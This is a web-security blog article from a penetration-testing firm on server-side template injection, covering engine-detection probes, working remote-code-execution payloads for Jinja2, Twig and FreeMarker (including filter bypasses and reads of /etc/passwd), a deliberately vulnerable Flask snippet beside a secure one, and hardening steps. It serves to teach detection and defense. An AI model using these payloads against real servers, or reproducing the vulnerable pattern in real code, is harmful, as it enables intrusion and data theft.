Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Back to Blog
Web Security 2026-10-06 ⏱️ 13 min

Server-Side Template Injection (SSTI): Detection, Weaponization & RCE

Modern web applications rely heavily on template engines to generate dynamic web pages by merging static HTML markup with runtime data. Technologies like Jinja2 in Python, Twig in PHP, and Apache FreeMarker in Java enable rapid development and clean separation of concerns. However, when software architects conflate template logic with user input concatenation, they introduce one of the most devastating critical flaws in modern web security: Server-Side Template Injection (SSTI).

Unlike Cross-Site Scripting (XSS), which executes within the victim's client browser, SSTI executes directly on the server's backend runtime within the privileges of the web application service account. What initially looks like a benign presentation flaw frequently escalates directly into arbitrary Remote Code Execution (RCE), complete file system compromise, internal network pivoting, and secret extraction.

In this technical guide, Cayvora's offensive security research team explores the mechanics of SSTI: the detection decision tree pioneered by James Kettle, weaponization across major web engines (Python Jinja2, PHP Twig, Java FreeMarker), evasion techniques against restrictive character filters, vulnerable versus secure architectural patterns, and defensive engineering strategies.

1. What is Server-Side Template Injection?

To understand SSTI, we must first examine how template engines operate under normal conditions. A template engine processes two distinct components:

  • Static Template Definition: Predefined layout code written by developers containing fixed HTML structure alongside template expression tags (such as {{ ... }} or ${ ... }).
  • Context Data: A dictionary or object model passed at runtime containing variable values (such as usernames, dates, or database records).

When used securely, the template engine parses the static template into an Abstract Syntax Tree (AST), evaluates dynamic tags against the supplied context data dictionary, safely encodes output values, and emits the final HTML document.

The vulnerability arises when developers dynamically concatenate untrusted user input directly into the template definition string prior to compilation, rather than passing the user input as a distinct variable within the context object. Because the template engine compiles the entire string into an executable AST, any template syntax supplied by an attacker is parsed as executable code instead of plain data.

Consider the fundamental architectural failure in pseudocode:

// SECURE PATTERN: User input is isolated in context
render("profile.html", {"username": user_input})

// VULNERABLE PATTERN: User input is compiled as template syntax
render("Hello " + user_input + "! Welcome back.", {})

In the second snippet, if user_input contains template directives such as {{ 7 * 7 }} or reflection payloads, the engine parses and executes them server-side.

2. The Detection Decision Tree (PortSwigger Methodology)

Detecting SSTI in black-box and grey-box security assessments requires a structured, deterministic approach. Blind fuzzing without understanding engine nuances leads to missed vulnerabilities or unexploited findings. The methodology popularized by James Kettle (PortSwigger) uses mathematical expressions and syntax probing to identify the underlying engine through differential behavior.

The core probe sequence begins with universal arithmetic expressions evaluated across different syntax delimiters:

${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
*{7*7}

Branch A: Expression Evaluates to 49

If the application renders 49 instead of the literal probe string, code evaluation is confirmed. We then systematically isolate the engine:

  • Probe ${7*7} renders 49: Test with Smarty, FreeMarker, MVEL, or Spring Expression Language (SpEL).
    • Send ${"z".join("ab")} or ${.version}. If FreeMarker is active, ${.version} reveals the exact engine build.
    • Send ${smarty.version}. In Smarty (PHP), this evaluates to the engine version.
  • Probe {{7*7}} renders 49: We branch into Python or PHP engines by testing string multiplication versus numeric concatenation:
    {{7*'7'}}
    • Result: 49 — The engine coerced the string '7' into an integer and multiplied it: this is characteristic of Twig (PHP).
    • Result: 7777777 — The engine treated '7' as a string and multiplied its sequence 7 times: this confirms Jinja2 (Python) or Django.

Differentiating Jinja2 from Django

Django and Jinja2 share similar double-curly brace delimiters, but Django enforces strict security boundaries by design: its built-in template language does not permit arbitrary method execution, function calls with parentheses, or Python reflection. Testing {{ ''.__class__ }} will produce an empty string or error in standard Django, whereas Jinja2 exposes the full underlying Python object model.

The Universal Polyglot Probe

When dealing with input fields where multiple template engines might process data across microservices, security researchers use polyglot canary strings designed to elicit syntax errors or distinct behaviors:

${{<%[%'"}}%\

Analyzing the resulting HTTP 500 Internal Server Error, debug stack trace, or unclosed delimiter response reveals the engine parser (e.g., jinja2.exceptions.TemplateSyntaxError, freemarker.core.ParseException, or Twig\Error\SyntaxError).

3. Jinja2 (Python) Exploitation to RCE

Jinja2 is the de facto template engine for Python web frameworks like Flask and Quart. Because Python's object model is unified and introspective, an attacker with expression evaluation capabilities can climb the inheritance tree from any literal object to locate arbitrary execution primitives.

Navigating the Python Object Model from an Empty String

Every object in Python inherits from the root base class object. By accessing the __class__ attribute of an empty string literal "", retrieving its Method Resolution Order via __mro__, and enumerating all loaded subclasses via __subclasses__(), we gain access to the entire runtime module registry loaded in the Python process:

# Traversing Python's inheritance hierarchy:
"".__class__.__mro__[1].__subclasses__()

In Python 3, "".__class__.__mro__[1] returns <class 'object'>. Invoking .__subclasses__() returns a list containing hundreds of classes currently registered in memory, including network wrappers, file handlers, and process execution primitives.

Locating Process Execution Primitives

Among the subclasses, several classes offer direct or indirect shell execution:

  • subprocess.Popen: The standard process spawning interface.
  • os._wrap_close: Contains references to the os module in its __init__.__globals__ dictionary.
  • warnings.catch_warnings: Often holds references to built-in namespaces.

In an environment where subprocess.Popen is at index 133 of the subclass array (the exact index varies depending on imported libraries and Python versions), the attacker triggers arbitrary shell execution:

{{ "".__class__.__mro__[1].__subclasses__()[133]('id',shell=True,stdout=-1).communicate()[0].strip() }}

To avoid relying on brittle hardcoded subclass array indices, modern exploits dynamically search subclasses or leverage context helpers built into Jinja2:

{{ [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'Popen'][0]('cat /etc/passwd', shell=True, stdout=-1).communicate()[0] }}

Filter Bypasses: Using request.args to Evade WAFs and Character Restrictions

Application firewalls and input validation routines frequently block characters such as single quotes, double quotes, underscores, or square brackets. Attackers circumvent these restrictions by pulling forbidden characters or commands directly from secondary HTTP parameters (such as query parameters or headers) that bypass the template sanitizer:

{{ lipsum.__globals__['os'].popen(request.args.cmd).read() }}

Here, the attacker requests:

GET /render?template={{lipsum.__globals__['os'].popen(request.args.cmd).read()}}&cmd=whoami

If quotes are blocked entirely, the payload uses Jinja2's request.args dictionary lookup without literals:

{{ lipsum|attr(request.args.g)|attr(request.args.o)|attr(request.args.p)(request.args.c)|attr(request.args.r)() }}

Passing ?g=__globals__&o=get&p=popen&c=id&r=read completely eliminates quotes and underscores from the injected template parameter.

4. Twig (PHP) Exploitation

Twig is the primary template engine for PHP frameworks including Symfony and CMS solutions such as Craft CMS and Drupal. Over successive releases, Twig maintainers restricted dangerous properties, but exploitation techniques adapted.

Legacy Twig (Twig 1.x)

In older Twig versions, the internal environment object was directly accessible via the _self variable. Attackers registered arbitrary PHP functions (such as exec, system, or passthru) as undefined filter handlers:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

When the template engine attempts to resolve the non-existent filter, it calls the registered callback with the provided argument, executing exec("id") on the server.

Modern Twig (Twig 2.x and 3.x) via the Map Filter

In modern Twig versions, _self.env is deprecated and restricted. However, attackers exploit built-in functional collection filters like map, filter, and sort, which accept callable callbacks:

{{['id']|map('system')|join}}

Twig's map filter iterates through the array ['id'] and passes each element as an argument to the PHP native function system(). The output of the command is returned and joined into the template output.

Additional callable primitives include:

{{['cat /etc/passwd']|filter('system')}}
{{['id', '']|sort('passthru')}}

Because these functions reside within Twig's standard library of approved filters, generic static analysis tools often fail to flag them until dynamic execution occurs.

5. Apache FreeMarker (Java) Exploitation

Apache FreeMarker is widely used in Java enterprise systems, Spring Boot backends, and portals. By default, FreeMarker provides powerful built-ins designed for advanced template logic, several of which permit direct operating system command execution.

The Execute Utility Payload

The most straightforward FreeMarker payload leverages the built-in freemarker.template.utility.Execute class:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

The ?new() built-in instantiates the Execute class, which implements FreeMarker's TemplateMethodModelEx. When invoked with ${ ex("id") }, it invokes Runtime.getRuntime().exec() and captures standard output, rendering the command output directly into the HTTP response.

Alternative Vectors: ObjectConstructor and Jython

When administrators disable the Execute class or restrict its package, attackers inspect alternative utilities:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
${ ob("java.lang.ProcessBuilder","uname","-a").start() }

Even if new_builtin_enabled is set to false in the FreeMarker configuration, attackers can often navigate context objects passed into the template model (such as Spring MVC's RequestContext) using reflection to extract beans and invoke dangerous methods on the underlying Java Virtual Machine.

6. Vulnerable vs. Secure Code: Python/Flask Walkthrough

To demonstrate how easily this vulnerability enters a production codebase and how to properly eliminate it, consider the following Python/Flask implementation:

Vulnerable Implementation

# VULNERABLE: direct string formatting into template
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    # Developer concatenates user input directly into the template string:
    template = f"<h1>Hello, {name}!</h1><p>Welcome to Cayvora Portal.</p>"
    return render_template_string(template)  # SSTI Vulnerability!

In this vulnerable example, if an attacker supplies ?name={{7*7}}, the string formatted into template is <h1>Hello, 49!</h1>.... The engine evaluates the mathematical operation because render_template_string treats the entire formatted string as the source AST to compile.

Secure Implementation

# SECURE: pass user input as data context variable
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    # Template logic is static; user input is passed strictly as context data:
    return render_template('hello.html', name=name)  # Safe, escaped

Inside the corresponding static template file templates/hello.html:

<!DOCTYPE html>
<html>
<body>
    <h1>Hello, {{ name }}!</h1>
    <p>Welcome to Cayvora Portal.</p>
</body>
</html>

In the secure implementation, when the user provides ?name={{7*7}}, the template engine receives the string literal "{{7*7}}" as the value of the variable name. The engine does not compile this value; it treats it as data, safely HTML-encodes it, and renders the literal characters &#123;&#123;7*7&#125;&#125; in the browser.

7. Defensive Strategies and Engineering Best Practices

Preventing Server-Side Template Injection requires architectural rigor. Because SSTI operates at the boundary between application code and data interpretation, superficial sanitization routines almost invariably fail.

1. Enforce Strict Code and Data Separation

Never concatenate or format untrusted user data into template strings before compilation. Always load static template files from disk or a version-controlled repository and pass dynamic parameters strictly through context dictionaries. Treat template source code with the same immutability as compiled binary code.

2. Understand Sandboxed Execution Limitations

Several template engines offer sandboxed modes (such as Jinja2's SandboxedEnvironment). While sandboxing restricts access to private attributes and methods starting with underscores (_), security researchers regularly discover sandbox escape vulnerabilities (e.g., CVE-2019-8341, CVE-2024-22195, CVE-2024-34064). A sandbox is a defense-in-depth measure, never a primary safeguard against untrusted template compilation.

3. Apply the Principle of Least Privilege

Ensure that the web server operating system account runs with minimal system privileges:

  • Run application containers with read-only root filesystems (read_only: true in Docker/Kubernetes).
  • Utilize dedicated, non-root system users without sudo capabilities or interactive login shells (/usr/sbin/nologin).
  • Apply Linux security modules (AppArmor or SELinux) and restrict outbound network connections to prevent reverse shell staging and data exfiltration.

4. Harden FreeMarker and Java Engines

In enterprise Java environments using FreeMarker, explicitly disable hazardous built-ins in the engine configuration:

Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// Or disable instantiation completely:
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

Using ALLOWS_NOTHING_RESOLVER prevents the execution of ?new() on any Java class, completely neutralizing the primary RCE vector.

Conclusion

Server-Side Template Injection represents one of the most severe classes of web vulnerabilities. By turning dynamic presentation features against the underlying platform, attackers can transition from a simple web parameter to root-level infrastructure takeover in seconds. Mitigating SSTI requires a clear commitment to parameterized data handling, robust framework configurations, and continuous security testing.

Secure Your Web Applications Against Remote Code Execution

Cayvora's penetration testing specialists evaluate your web applications and template engines against advanced injection vectors, delivering actionable remediation guidance before attackers exploit them.

✉️ Request a Web Security Audit

Related Articles